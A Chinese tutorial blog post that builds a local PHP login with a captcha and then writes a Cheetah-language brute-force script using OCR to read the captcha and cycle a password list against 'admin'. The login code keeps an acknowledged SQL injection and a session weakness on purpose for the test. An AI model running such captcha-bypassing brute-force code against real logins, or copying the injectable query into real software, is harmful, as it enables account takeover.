【Cheetah语言】xxx语言编写验证码识别爆破脚本

验证码识别爆破

在我们日常的爆破中会遇到许多阻止我们爆破的一些方式,例如:

  1. js加密
  2. 验证码
  3. ....

js加密的话呢其实相对比较好解决,无非就是下段跟踪,没有太大的难题,但是验证码就比较麻烦了,这个是随机的,就算是人也没办法一直回答正确(今上午注册个账号,验证码搞得我直接放弃了),所以识别验证码是我们需要一起攻克的难题。

基于图片的验证码识别其实无非就是两种:

  1. OCR的图片识别
  2. 人工智能训练好的模型

起初我是想要实现第二种,也就是训练一个模型,但是在我训练的过程中发现java并不是是非的适合于做人工智能,训练是训练了好久,但是发现不是很理想,所以我就转到第一种OCR识别了,网上有比较成熟的库(Test4J),所以我就直接拿过来了,更新到了支持库里面:ORCLibrary.jar

实战

本地搭建一个存在验证码的登录:

首先是验证码图片展示的页面(captcha.php):

<?php
//向浏览器输出图片头信息
header('Content-type:image/jpeg');
$width=120;
$height=40;
$string='';//定义变量保存字体,这个一定不能省,不然回报警告
$img=imagecreatetruecolor($width, $height);//imagecreatetruecolor函数建一个真彩色图像
$arr=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9');
//生成彩色像素    
$colorBg=imagecolorallocate($img,rand(200,255),rand(200,255),rand(200,255));//背景     imagecolorallocate函数为一幅图像分配颜色
//填充函数,xy确定坐标,color颜色执行区域填充颜色
imagefill($img, 0, 0, $colorBg);
for($i=0;$i<4;$i++){
 $string.=$arr[rand(0,count($arr)-1)];
}
session_start();
$_SESSION["captcha"]=$string;
$colorString=imagecolorallocate($img,rand(10,100),rand(10,100),rand(10,100));//文本
//2种插入字符串字体的方式
//imgettftext($img,字体大小(数字),角度(数字),rand(5,15),rand(30,35),$colorString,'字体样式的路径',$string);
imagestring($img,5,rand(0,$width-36),rand(0,$height-15),$string,$colorString);
//输出图片到浏览器
imagejpeg($img);
imagedestroy($img);
?>

这个没啥太多好说的,就是生成一张验证码图片,然后将结果存储到session中,这种方法实际上是非常危险的,因为这样子会导致一个session重放的一个漏洞(验证码会失效),但是由于我们是在测试,所以暂时忽略这样子的一个问题。

账号密码验证(testyzm.php):

<?php 
@$a = $_POST["n"];
@$c = $_POST["p"];
@$yzm = $_POST["yzm"];
if(isset($a) && isset($c) && isset($yzm)) {
session_start();
if(!isset($_SESSION["captcha"]))
{
 echo "captcha error";exit();
}
if($_SESSION["captcha"]!=$yzm)
{
 echo 'wrong captcha';
 exit();
}
$b = mysql_connect("127.0.0.1",'xxx','xxx');
mysql_select_db('fanke',$b);
$sql = "select * from user where username='$a' and password='$c'";
//echo $sql;
$result = mysql_query($sql);
if(!$result)
{
 die(mysql_error());
}
if($row = mysql_fetch_array($result)){
 echo "success<br>";
 echo "ID:".$row['id']."<br >";
 echo "Ming:".$row['username']."<br >";
 echo "mima:".$row['password']."<br >";
}else{
 echo "error password";
}
mysql_close($b);
}else
{?>
<form action="testyzm.php" method="POST">
name<input name="n" type="text" /><br><br>
pass<input name="p" type="text" /><br><br>
captcha<input name="yzm" type="text" /><br><br>
<img src="captcha.php" onclick="this.src='captcha.php'" title=change"/>
<input type="submit" value="tijiao" />
 </form>
<?php }
?>

这个也没啥,就是通过输入的信息,先判断验证码,然后SQL查询,但是这个地方存在一个SQL注入,这里我们也暂时不考虑这些问题!

好了,到此为止我们的基础信息就已经完成了,下面我们就是要来实现爆破这个信息,这里我先事先说一下,我们的默认账号是:admin

爆破分析

首先我们想要做暴力破解我们就需要来分析这个网站的一个信息,首先我们先捕获账号密码提交的HTTP数据包:

在这里插入图片描述

是一个post封包:

  1. n为用户名
  2. p为密码
  3. yzm为验证码

到这里我们基本上就算是了解了,但是我们还不知道关键信息

相应结果:

  1. 密码错误响应结果:error password
  2. 验证码错误响应结果:wrong captcha
  3. 密码正确暂时不知道

所以我们现在的逻辑就知道了,我们无非就是一个循环发送封包寻找关键字的一个程序罢了,只不过在这期间我们需要识别验证码。

那么如何传递验证码呢?

我们访问验证码的图片可以发现,他会响应一个session,这个session里面存储了真正的验证码结果,所以我们需要得到这个session!

编写代码

首先我们先要能够现在下来验证码的图片,使用OCR支持库中的DownLoadImg库函数

  1. 第一个参数是网络图片地址
  2. 第二个参数是本地存放的路径
  3. 返回值是相应的协议头

我们从响应头中截取关键的session,可以通过前后文本进行区分,所以我们可以编写如下的代码:

function GetPhpSession(header){
 return GettextMiddle(header,"PHPSESSID=",";");
}
function GetCaptcha(path){
 return GetPhpSession(DownLoadImg("http://127.0.0.1:8080/captcha.php",path));
}

这样子我们只需要调用GetCaptcha函数就可以下载验证码并且得到验证码的session

得到了图片和session之后我们就需要识别验证码,发送数据包,判断响应!

function JudgeSuccess(username,password){
 session = GetCaptcha("b.jpg");
 captcha = ImgIdVC("b.jpg");
 res = HttpPost("http://127.0.0.1:8080/testyzm.php","n=".username."&p=".password."&yzm=".captcha,"Cookie: PHPSESSID=".session);
 if(StrFindStr(res[0],"wrong",0) != "-1"){
     print("验证码错误:".captcha);
     return 1;//验证码错误
 }
 if(StrFindStr(res[0],"error",0) != "-1"){
     print("密码错误:"."用户名:".username."   密码:".password."   验证码:".captcha);
     return 2;//密码错误
 }
 if(StrFindStr(res[0],"success",0) != "-1"){
     print("爆破成功,用户名:".username."   密码:".password);
     return 3;//账号密码正确
 }
}

上面的这个函数就是用来爆破的子函数,一共做了下面的几步:

  1. 获取session和下载图片到本地的b.jpg
  2. 使用本地的ImgIdVC库函数识别验证码
    1. 参数一是图片的本地路径
    2. 返回值是识别的结果
  3. 发送post封包,然后保存响应的结果
  4. 判断响应中是否存在wrong,如果存在返回1,并且打印验证码错误
  5. 判断响应中是否存在error,如果存在返回2,打印出错误的信息
  6. 判断响应中是否存在success,如果存在返回3,打印出正确的账号密码(这里是我进行预测的,当然其实这个写不写都可以,如果不存在error和wrong的话呢,说明登录成功)

爆破的子函数写完之后我们就要在main函数中进行调用:

function main(args)
{
 username = "admin";
 passList = StrSplit(ReadFile("password.txt"),StrRN());
 num = GetArrayNum(passList);
 i = 0;
 while(i<num){
     res = JudgeSuccess(username,passList[ToInt(i)]);
     if(res == 2){i = i+1;}
     if(res == 3){break;}
 }
 print("爆破完毕");
}

首先我们知道账号是admin,然后我们读取本地的password.txt文件,通过\r\n进行分割,得到一个密码字典数组,然后通过遍历数组进行爆破,但是这里有一点需要注意的是,我们如果JudgeSuccess返回的是一个1的话呢我们是不让i自增的,因为我们还需要再跑一次这个密码,如果是2则下一个密码,如果是3则密码成功。

最终我们将会得到下面的结果:

在这里插入图片描述

可以看到我们最终爆破成功了,验证码识别的并不是完全准确,但是准确率还是可以的。
当然之后我会添加上需要人工智能的支持库,方便大家调用,并且还会推出许多渗透测试的函数出

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,734评论 6 505
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,931评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,133评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,532评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,585评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,462评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,262评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,153评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,587评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,792评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,919评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,635评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,237评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,855评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,983评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,048评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,864评论 2 354

推荐阅读更多精彩内容